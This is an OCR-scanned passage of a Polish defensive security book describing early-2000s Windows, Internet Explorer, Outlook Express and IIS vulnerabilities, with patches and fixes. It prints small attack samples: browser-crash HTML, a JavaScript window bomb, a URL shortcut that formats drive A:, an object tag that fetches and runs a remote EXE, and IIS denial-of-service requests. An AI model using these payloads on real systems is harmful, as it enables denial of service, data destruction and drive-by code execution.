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Wiekszo$¢ 0s0b podtaczajac komputer do Internetu nie uswiadamia sobie wszystkich
konsekwencji tego faktu. Zyskujac dostep do milionéw stron WWW, na ktérych
znajduja sie informacje na kazdy temat, udostepniaja hakerom mozliwos¢ dotarcia

do informacji zapisanych na twardych dyskach swoich komputerow.

Nie warto zastanawiac sie, dlaczego kto$ chciatby wtamac sie do naszego komputera
i odczytaé (lub co gorsza zniszczy6) nasze dane. Takie wtamania nie sa bynajmniej
rzadkoscig i nie mozemy mie¢ pewnosci, ze akurat nam nie przydarzy sie nic ztego.
Warto wiec zapoznac sie z ksiazka ,,ABC obrony komputera przed atakami Hakera”,
ktdra nawet poczatkujacym dostarczy wielu cennych wskazdwek, pozwalajacych
korzystaé z dobrodziejstw Internetu bez strachu przed intruzami.
Dowiesz sie miedzy innymi:
e Kim sa hakerzy, jakie sg ich motywy, cele i metody dziatania
» Jakiego oprogramowania uzywaja hakerzy i w jaki sposob moze by¢ dla Ciebie
szkodliwe, niebezpieczne
 Jak zatata¢ najwazniejsze dziury w zabezpieczeniach systemu Windows
o Jak, uzywajac systemu Linux, zbudowac tani i skuteczny firewall
e 7 jakich metod szyfrowania mozesz skorzysta¢ w celu zabezpieczenia swoich
danych
* Jakie zagrozenia niesie za sobg IRC

 Jak zabezpieczy¢ catg sie¢ komputerowa
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Rozdziat 3.
Btedy systemu Windows

System Windows powstal na poczatku 1987 roku. Zostal stworzony przez pracownikow
firmy Microsoft. Jego poczatkowe wersje — czyli 1.0, 2.0 1 3.x — byly zwyklymi na-
ktadkami na system operacyjny MS DOS. PdzZniejsze wersje Windows — 95, 98, ME,

NT, 2000 1 XP — sa rozpowszechniane jako samodzielne systemy operacyjne.

Wiegkszo$¢ z czytelnikow uzywa systemu Windows do codziennej pracy i zabawy. Wielu
takze ma dostep do Internetu — nieprzebrane;j skarbnicy wiedzy. Niewielu jednak zdaje
sobie sprawe z tego, ze podczas ogladania niewinnie wygladajacego serwisu interne-
towego po dysku naszego komputera moga buszowa¢ ludzie, ktorymi kieruje che¢ nisz-

czenia danych. Sato krakerzy.

Nalezy jednak pamietac, ze niebezpieczenstwo czyha nie tylko w Internecie. Istnieje
rowniez prawdopodobienstwo, ze nasze cenne dane zostana wykradzione przez oso-

by, z ktérymi mieszkamy, pracujemy, uczymy sie.

Wiele osob, aby zabezpieczy¢ swoj dorobek zapisany w pamieci komputera, ustawia
réznorodne opcje w ustawieniach systemowych, instaluje taty 1 uaktualnia system. To
wszystko jednak na nic! Cho¢by$my zainstalowali najnowszy system Windows, to i tak
nasz komputer bedzie dziurawy jak szwajcarski ser. Bedzie on stal otworem przed

milionami hakeréw i krakeréow.

W tym rozdziale chcialbym omowi¢ kilka wazniejszych dziur, jakie odkryto w syste-

mie Windows 1 jego standardowych komponentach. Oto ich spis:
4 bledy w przegladarce Internet Explorer,
4 luki w Outlook Express,
4 podatnos¢ systemu na ataki typu DoS.
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Bliedy w przegladarce Internet Explorer

Internet Explorer to przegladarka instalowana standardowo z systemem operacyjnym
Windows. Posiada ona wiele wiekszych 1 mniejszych luk, przez ktére do$wiadczony
uzytkownik moze wej$¢ do systemu i uszkodzi¢ go, a nawet catkowicie zniszczy¢.

Aby nie by¢ gotostownym, podaje kod prostej strony w jezyku HTML, ktora powoduje
zawieszenie komputera:

<meta http-equiv="Refresh" content="0; URL=file:Mrugalski">
<meta http-equiv="Refresh” content="0; URL=file:Jakub">

Jak zapewne zauwazyles, wywolanie podanego kodu spowodowato wyswietlenie znanego
wszystkim uzytkownikom Windowsa niebieskiego ekranu. Oczywiécie praca w systemie
po wystapieniu takiego bledu jest niemozliwa i konieczny jest restart komputera.

Zaprezentowana luke mozna zaliczy¢ pod atak typu DeS (ang. Danial of Service), czyli
odmowienie ustug. Taki atak nie jest grozny na pojedynczym komputerze, ale wyobraz-
my sobie, ze powyzszy kod zostal wykonany na serwerze z systemem Windows NT. Je-
sli serwer udostepnia polaczenie internetowe dla sieci lokalnej np. w malej firmie, to
skutki takiego btedu moga by¢ naprawde powazne.

Niebezpieczenstwo atakéw odmowy ustug tkwi nie tylko w tagach jezyka HTML wy-
konywanych cyklicznie lub postrzeganych za niebezpieczne. Zagrozeniem moze by¢
nawet zwykly kod obrazka na stronie WWW. Oto przyktad:

<img src="http://1ocalhost:153" alt="" height=1 width=1 align=left>

Taki kod powoduje wyswietlenie pola na zaladowanie obrazka. Prosze jednak zwroci¢
uwage na $ciezke do pliku zZrédtowego. Odwoluje sie ona do komputera, z ktorego ak-
tualnie korzystamy (localhost). To nie wszystko! Kod ten probuje dosta¢ si¢ do portu
komunikacyjnego numer 153, czego skutkiem jest odmowa dziatania systemu podob-
nie jak po uzyciu programu WinNuke opisywanego w dalszej czesci programu.

Jak sie zabezpieczyé?

Microsoft wydat odpowiednia tate likwidujaca ten problem. Jest ona dostgpna na
stronie support.microsoft.com/support.

Wszyscy wiemy, Ze Internet Explorer jest aplikacja, ktora pozera ogromne ilosci pa-
mieci. Po otworzeniu kilku okien tego programu wydajnos¢ systemu znaczaco spada.
Hakerzy wykorzystali t¢ luke i napisali kod, ktory otwiera nowe okna Internet Explo-
rera az do wyczerpania zasobow systemowych. Oto kod tej aplikacji:

<html >

<script>

function go(){
window.open();
setTimeout("go()",10);
}
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go();
</script>
</html>

Kod ten zawiera wstawke jezyka JavaScript, ktora po wykonaniu na moim kompute-
rze z procesorem Celeron 556 MHz 1 128 MB RAM zablokowala system w ciagu
okoto 20 sekund. Myslicie, ze to duzo czasu? Podczas dziatania skryptu probowatem
zamyka¢ pojawiajace sie okna, ale zanim zdazylem zamknac¢ jedno okno, pojawilo sie
juz pie¢ nowych. Przypominato to raczej walke z wiatrakami, a nie zabezpieczenie
systemu.

Microsoft jak dotychczas nie zareagowal na ten powazny blad, ale ja znalaztem roz-
wiazanie. Istnieja specjalne programy blokujace pojawianie si¢ okien typu pop-up. Do
programow takich zalicza sie miedzy innymi polski Fryderyk, ktory jest poteznym
pakietem pilnujacym naszego bezpieczenstwa w Internecie. Co najwazniejsze, program
jest darmowy, a jego platna rejestracja jest dobrowolna. Fryderyk ma jedna wade: roz-
miar. Pakiet Fryderyka zajmuje okoto 5 MB. Je$li wolimy co$ mniejszego, to mozemy
zajrze¢ na strone http://www.panicware.com/product_dpps.html. Jest na niej dostepny
miniaturowy program (okoto 62 kB), ktory zamyka wszystkie pojawiajace sie okienka.
Oba programy maja jednak powazna wade. Sa one zbytnio wyczulone na okna 1 jesli
jaka$ strona porozumiewa si¢ z uzytkownikiem przy uzyciu np. trzech okien wyskaku-
jacych, w ktorych sa przyktadowo menu nawigacyjne, to programy te wszczynaja alarm,
ze kto$ probuje sie dosta¢ do naszego komputera. Nie przesadzajmy wiec z naduzywa-
niem tego typu programow, bo podréz po Internecie bedzie dla nas koszmarem, a nie
relaksem.

Kolejnym btedem w produktach Microsoftu jest interpretacja plikow URL z polece-
niami systemu MS DOS. Polega to na umieszczeniu na stronie odpowiedniego tacza
prowadzacego do pliku URL zbudowanego w nastepujacy sposob:

[InternetShortcut]
URL=file://format a: /q /autotest

Skrot ten spowoduje sformatowanie bez pytania uzytkownika o pozwolenie dyskietki
w stacji dyskow A:. Blad ten wystepuje tylko w przegladarce w wersji 3.2. Ta wersja
Internet Explorera jest jeszcze czesto uzywana ze wzgledu na fakt, ze Microsoft dota-
czyt ja standardowo do systemu Windows 95.

Uzytkownicy nowszych wersji Internet Explorera nie sq narazeni na ten atak.

Kolejnym btedem wystepujacym w przegladarce Microsoftu jest mozliwos¢ uruchomie-
nia dowolnego pliku wykonywalnego typu £XE umieszczonego w sieci lub na dysku
uzytkownika. Blad ten stanowi bardzo powazne naruszenie zabezpieczen systemu
1 moze by¢ wykorzystany np. do zarazenia komputera przez wirusy.

Oto przyktad zastosowania kodu wywotujacego ten btad:

<object width=0 height=0 CODEBASE="http://www.cos.pl/plik.exe"
classid="CLSID:11111111-1111-1111-1111-111111111111" width=1 height=1></object>
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Kod zawarty w tym przyktadzie spowoduje wykonanie programu plik.exe umieszczo-
nego na fikcyjnym serwerze www.cos.pl.

Prezentowane do tej pory zabezpieczenia maja charakter ataku zdalnego, czyli wyko-
nywanego przez hackera z zewnatrz. Ale przegladarka posiada takze znaczng luke po-
zwalajaca omina¢ zabezpieczenia samego Windowsa!

Zatozmy, ze prowadzimy kawiarenke internetowa. Nasze komputery sa zabezpieczone
programem Poledit (standardowe zabezpieczenie proponowane przez Microsoft). Przy
uzyciu tego programu zablokowaliémy uzytkownikowi dostep do edytora rejestru, dys-
ku twardego, panelu sterowania 1 innych strategicznych miejsc systemu. Jak przystato
na kawiarenke, uzytkownik ma dostep do przegladarki internetowej. Niech to bedzie
Internet Explorer 5.5.

Powyzsze zabezpieczenia zakladalibyémy przez kilka godzin, a doswiadczony uzytkow-
nik méglby je obejs¢ przy uzyciu jednego skréotu, utworzonego na pulpicie. Skrot ten
prowadzitby do polecenia file:// interpretowanego przez Internet Explorera. Kliknie-
cie na taki skrét datoby nam dostep do catego dysku twardego, do zawartych na nim
danych, aplikacji ustawien, pozwolitoby nawet na zniszczenie calego systemu.

Przyklad ten obrazuje, jak grozna bronia jest Internet Explorer w rekach cztowieka, kto-
ry umie 1 chce wykorzysta¢ wszystkie jego mozliwosci. To oczywiscie tylko niewielka
cze$c bledow, jakie odkryto w tej przegladarce. Jest ich tak naprawde tysiace. O niekto-
rych wiemy 1 sie przed nimi bronimy, a niektore pozostaja w ukryciu i sami nieswia-
domie padamy ich ofiara.

Luki w Outlook Express

Pamietamy doskonale, jak wielkie spustoszenie spowodowaly wirusy takie, jak ,,I Love
You” czy ,, Romeo 1 Julia” rozsytajace swoje kopie do wszystkich oséb, ktorych adre-
sy zapisane byly w naszej ksiazce adresowej. Byly to wirusy korzystajace z luk odkry-
tych w programie pocztowym dotaczonym do systemu Windows — mowa oczywiscie
o Outlook Expressie.

Programy te napisane byly w jezyku skryptowym SHS, ktory jest interpretowany na
biezaco przez system. Poza tym Windows ma w swoim kodzie standardowo ustawio-
ne ukrywanie rozszerzenia plikow SHS, przez co klikniecie pliku o nazwie OBRAZ.
JPG.SHS spowoduje uruchomienie skryptu napisanego w tym wiasnie jezyku.

Gloéwnym bledem otwierajacym hakerom drzwi do naszego komputera jest tzw. okienko
podglqdiL, ktére pokazuje uzytkownikowi zawarto$¢ poczty elektronicznej bez jej otwie-
rania. Najprostszym sposobem zabezpieczenia si¢ przed tym bledem jest odznaczenie
opcji PokaZz okienko podglqdu w menu Widok/Uktad. ... Operacja ta da nam jednak
tylko kilka procent pewnosci. Aby by¢ prawie pewnym swojego bezpieczenstwa, po-
winni$my zainstalowa¢ program Norton Antyvirus lub inny program antywirusowy ofe-
rujacy opcje filtrowania poczty.
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Kolejnym btednym posunieciem ze strony Microsoftu byto wbudowanie w swaj pro-
dukt interpretatora kodu JavaScript. Ztosliwy haker moze edytowa¢é zrodto wysytanej
do nas wiadomosci 1 dopisa¢ do niej dowolny kod wykonujacy sie w nieskonczonosé.
Przyktadem takiego kodu moze by¢ np.:

<SCRIPT>
WHILE (TRUE) {alert('Kolejna Tuka!")}
</SCRIPT>

Kod ten spowoduje nieustanne pojawianie sie okienka informacyjnego z podanym tek-
stem. Blad ten nie zagraza bezpieczenstwu systemowemu, ale zmusza uzytkownika
do zamkniecia programu pocztowego przy uzyciu kombinacji klawiszy Ctr/+Al¢t+Del.

Mimo Zze zaprezentowany kod nie naruszal bezpieczenstwa i stabilnosci systemu, to
jednak w jego miejsce kraker moglt podstawi¢ dowolny kod obciazajacy system 1 pro-
wadzacy w konsekwencji do wywotania ataku typu DoS.

Podatnosc¢ systemu na ataki typu DoS

Najpopularniejszym sposobem przeprowadzania ataku zdalnego DoS jest wysylanie pa-
kietow ICMP. Sato tzw. pakiety PING. Zasade dzialania takiego pakietu mozna opisaé
w nastepujacy sposob: mamy dwa komputery A i B. Komputer A udostepnia potacze-
nie komputerowi B 1 dzigki temu komputer B ma potaczenie ze swiatem. Uzytkownik
komputera B chce polaczy¢ sie z Internetem, wigc system najpierw wysyla pakiet PING
do komputera A z pytaniem: Czy jestes aktywny? Jesli komputer A odpowie twier-
dzaco, to potaczenie zostanie nawiazane, jesli za$ nie odpowie, to komputer B zrezy-
gnuje z potaczenia.

Teraz mozna sobie wyobrazi¢ te sama sytuacje, ale z udziatem hakera. Znéw mamy dwa
komputery 1 identyczna zalezno$¢ miedzy nimi, z ta tylko réznica, ze haker jest pola-
czony z komputerem A i zamierza odcia¢ dostep do Internetu komputerowi B. W tym
celu wysyla przy uzyciu specjalnego programu seri¢ zapytan ICMP do serwera A, przez
co komputer A jest przez jaki§ czas jest zajety odpowiedziami na zadane zapytania.
Teraz komputer B chcialby nawiaza¢ polaczenie z Internetem. Wysyta wiec swoje za-
pytanie do serwera, ale nie otrzymuje od niego zadnej odpowiedzi, bo serwer jest zajety
odpowiadaniem na setki zapytan hakera.

Tak wlasnie w bardzo uproszczony sposob mozna opisac¢ atak odmoéwienia ustug zwany
atakiem DoS. Dlaczego wspominam o tym wlasnie teraz? Ot6z system Windows zali-
cza sie do grupy systemow najbardziej podatnych na tego typu podstepne dziatania
hakerow.

Na serwerze Microsoftu dostgpne sa taty unieszkodliwiajace ten problem dla syste-
mow NT, ale uzytkownicy indywidualni z Windows 9x/Me nadal sg na niego narazeni.
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Kolejnym znanym defektem systemow Windows jest podatnos¢ na dziatanie programow
typu WinNuke. Programy te wysylaja specjalnie spreparowany tekst na otwarte porty
w naszym komputerze. UZzycie takiego programu w systemie Windows powoduje naj-
czes$ciej wyswietlenie niebieskiego ekranu z komunikatem o btedzie krytycznym, za-
wieszenie wszystkich proceséw systemowych lub obciazenie systemu w takim stopniu,
Ze praca staje sie niemozliwa.
Portami podatnymi na dzialania WinNuka 1 programéw od niego pochodnych sa porty nr:

4 137 (Windows 95),

4 139 (Windows 98),

4 127 (Windows NT),

¢ 1030 (Windows NT, 2000 i XP).

Problem tzw. nukerow dreczy uzytkownikow Windows juz od lat, a Microsoft zdotat
przez ten czas napisac jeden ServicePak (20 MB) usuwajacy ten problem. Istnieje jed-
nak sposob zabezpieczenia sie przed tego typu oprogramowaniem. Sposob ten nie jest
udokumentowany przez Microsoft. Jest to rozwiazanie opracowane przez jednego z uzyt-
kownikéw Windows. Oto co nalezy zrobi¢:

1. Uruchom edytor rejestru przez Start/Uruchom... 1 wpisz tam regedit.

2. Wejdz do klucza: Hkey Local Machine/System/CurrentControlSet/Services/
Vx D/MSTCP.

3. Wybierz Edycja/Nowy ... , nastepnie Wartosc ciqgu 1 wpisz BSDUrgent (uwazaj
na wielkos¢ liter!).

4. Nadaj nowo utworzonej zmiennej wartos¢ 1 (cyfra jeden).

5. Zamknij edytor rejestru i uruchom system ponownie.

Po wykonaniu opisanych tu krokéw komputer bedzie odporny na ataki przy uzyciu nu-
kerow.

Pozostate luki w systemie Windows

Btedy Windows nie ograniczaja si¢ tylko do tych omawianych wyzej. System zawiera
wiele wewnetrznych bledow mogacych skutecznie zagrozi¢ naszemu komputerowi,
jak 1 catej sieci lokalne;.

Najpopularniejszym sposobem zabezpieczania danych jest kodowanie ich przy uzyciu
réznego rodzaju programow szyfrujacych lub przy uzyciu standardowych zabezpieczen
systemowych. Niezaleznie od tego, ktorej metody uzywamy, wszystkie wpisywane hasta
przechowywane sa w tzw. buforze haset. Bufor ten shuzy do zapisywania haset w celu ich
pozniejszego wykorzystania. Zastanawiacie si¢ pewnie, jak mozna to wykorzystac? Otoz
istnieje wiele programoéw dostepnych w Internecie shuzacych do wyciagania haset z pa-
mieci Windowsa. Dlatego hasta powinny by¢ zapamietywane przez uzytkownikow, a nie
zapisywane w pamieci komputera.
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Windows tak naprawde zapisuje hasta gdzie popadnie. Sa one wszedzie! W rejestrze,
plikach /N7, plikach konfiguracyjnych itd. W obecnych czasach nie trzeba mie¢ prak-
tycznie zadnej wiedzy z dziedziny programowania, zabezpieczen 1 systemow operacyj-
nych, aby wydoby¢ z tych plikow potrzebne nam dane. Wszystkie potrzebne do tego
celu programy sa juz napisane i tylko czekaja na to, az jaki§ internetowy wlamywacz
je wykorzysta.

Obecnie nie ma sposobu na zabezpieczenie si¢ przed tym bledem. Jedyna rada jest
taka, aby nie zapisywacC haset w pamigci programow, lecz podawac je na biezaco.

W przypadku systemu NT sprawa wyglada odrobinke lepiej. System ma szyfrowana
partycje NTFS oraz kontrolowany dostep do plikow 1 katalogow. Ale hakerzy 1 na to
znalezli sposob! Zatézmy, ze w naszym systemie jest dwoch uzytkownikéw. Ja jestem
administratorem, a drugi uzytkownik to haker. Zaktadam plik NAZWA PLIKU.EXE. Jest
to jaki§ program uzytkowy. Nadaje temu pliku takie prawa, ze uzytkownik haker nie
moze go uruchamia¢, otwiera¢, a nawet kopiowac. Co w takim razie moze zrobi¢ ha-
ker? Wchodzi on do trybu MS DOS (plik CM/D.EXE) 1 zamiast pelniej nazwy pliku
wpisuyje jego o$mioliterowy odpowiednik, czyli NAZWAP~1.EXE. Od tej chwili haker
moze zrobi¢ z plikiem wszystko, jesli bedzie sie do niego odwolywal przez jego
DOS-owy odpowiednik.

Aby zabezpieczy¢ swoj system przed tym biedem, nalezy Sciagnac tat¢ z podanej
strony: ftp://ftp.microsoft.com/bussys/SS/iss-public /fixes/usa/security /sfn-fix/.

Grupa hakerska o nazwie LQOpth odkryla powazny blad w interpretacji adresu URL pro-
wadzacego do skryptu ASP. Luka ta pozwala zobaczy¢ kod Zrodtowy dowolnej aplika-
cji internetowej napisanej w ASP i uruchomionej w $rodowisku Windows NT od 4.0
wzwyz. Problem ten dotyczy pakietu ISS (ang. nternet Information Server) we wszyst-
kich wersjach nowszych niz 2.0.

Doktadniej mowiac, skrypty ASP sa czesto wykorzystywane do autoryzacji uzytkow-
nikow, do transakcji przeprowadzanych przez Internet 1 do ograniczania dostepu nie-
powotanym uzytkownikom. W kodzie Zrodtowym tych skryptow czesto znajduja sie
hasta i loginy uzytkownikow, §ciezki dostepu do kluczowych plikow systemowych
1 wiele innych. Gdyby kod takiej aplikacji wpadl w rece krakera, mogto by to mie¢ ka-
tastrofalne skutki dla nasze;j sieci 1jej uzytkownikow.

Zatozmy, ze mamy serwer z systemem Windows NT 4.0. Udostepniamy na nim konta
uzytkownikom. Aby uzytkownik mégt wejs¢ na swoje konto, musi wpisa¢ w przegla-
darce adres: www.serwer .com/Togin.asp. Spowoduje to wykonanie skryptu ZOGIN.ASP
1 wyswietlenie wynikow jego dziatania w naszej przegladarce. Jesli za$ kraker zasta-
pitby ostatnia kropke w nazwie pliku (t¢ przed rozszerzeniem) przez jej szesnastkowy
odpowiednik, to serwer ISS nie rozpozna, ze podany URL odwoluje si¢ do skryptu,
lecz wykona go jako odwotanie do pliku 7X7. W rezultacie w oknie przegladarki zo-
baczymy kod Zrodlowy skryptu logowania, a w nim wszystkie tajne informacje.

Ze wzgledu na to, ze blad ten jest bardzo niebezpieczny i wcigz aktualny, nie podam
sposobu jego wykorzystania. Ksigzka ta ma stuzy¢ jako zrédlo informacji dla admini-
stratorow, a nie poradnik dla hakerow.
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Jak sie zabezpieczyé:

Mozna uaktualnic wersje pakietu ISS lub Sciagnac tate ze strony: #tp://ftp.microsofit.
com/bussys/winnt /winnt-public /fixes /usa/nt40/hotfixes-posts2/iss-fix/.

Ta dziura to jednak nie koniec grzechow, jakie Microsoft popelnit, piszac pakiet ISS.
Kolejnym btedem w tej ustudze jest zta implementacja polecenia GET. Kraker chcacy
unieruchomié¢ serwer taczy sie z nim poprzez telnet przez port 80. Gdy polaczenie zo-
stanie nawiazane, wydaje on polecenie GET ../ ..., co powoduje atak typu DoS, a w kon-
sekwencji wymusza restart komputera.

W chwili pisania tej ksiazki Microsoft nie wydat odpowiedniego pakietu koryguja-
cego, ale zawsze mozna przeszukac serwer ftp.microsoft.com w poszukiwaniu tfat
naprawiajacych ten btad.

Jak juz wspomniatem w poprzednim akapicie, serwer ISS jest ,,bogaty” w bledy. Jed-
ne sa bardziej niebezpieczne, inne mniej. Jednym z najpopularniejszych i najczesciej
wykorzystywanych bledow jest tzw. pr-epetnienie bufora URL, ktore powoduje za-
wieszenie calego systemu i zerwanie wszystkich potaczen z serwerem.

Bug (z ang. btad) ten polega na wystaniu do serwera polecenia wywotania nieistnieja-
cej strony WWW, z tym zastrzezeniem, ze wywotujacy adres URL musi mie¢ okoto
10 000 znakow. Oto przyktad: http.://www.serwer.com/Xxxxxxxxxxxxxxxx...

Na koricu tego adresu wpisalem wielokropek, ale nalezy pamieta¢, ze powinno sie tam
znaleZ¢ okoto 10 000 znakéw x (to, co jest tam wpisane, tak naprawde nie graroli).

To jeszcze nie wszystko. Nie chcialbym jednak zanudzaé czytelnikow opisem wszyst-
kich btedow w ISS. Jesli cheieliby$cie dowiedzie¢ si¢ wigcej na temat dziur w ISS, to
polecam $ciagnac¢ kod Zrodtowy robaka internetowego o nazwie code. red. worm. Jego kod
dostepny jest na wiekszosci stron poswigeconych hakerstwu 1 zabezpieczeniom sieci.

Czy myslate§ kiedykolwiek, ze plik DOC moze by¢ wirusem? Nie? To teraz zmienisz
zdanie! Sprobuj przeprowadzi¢ takie doswiadczenie:

1. Wez dowolny plik EXZ 1 zmieni jego rozszerzenie na DOC.

2. Wejdz do konsoli DOS-a (CMD.EXE) 1 wpisz nazwe tego pliku, np. 7EST. DOC.
Jesli po wykonaniu tego testu zostata wyswietlona informacja o bledzie, to znaczy, ze
Twoj serwer jest bezpieczny, ale jesli zamiast komunikatu z btedem pojawito sie okno

jakiejs aplikacji, to lepiej uwazaj! Ta luka moze by¢ wykorzystana na Twoim serwerze!
Pamietaj o tym, jesli Twoj program antywirusowy skanuje tylko pliki wykonywalne.

Jesli jestes szczegolnie zainteresowany btgdami w ustugach ISS, ASP itd ., to po-
winienes koniecznie zajrzec na jedna z tych stron: www.rootshell.com, www.
underground.org.pl, www.hacking.pl, www.ntbugtraq.com.

Czy po przeczytaniu tego rozdzialu nadal myslisz, ze Twoj Windows jest bezpieczny?
Moze kiedy$ w przyszto$ci i Ty padniesz ofiara ktoregos z tych bltedow. A moze juz je-
ste$ ofiara 1 nawet nie zdajesz sobie z tego sprawy?



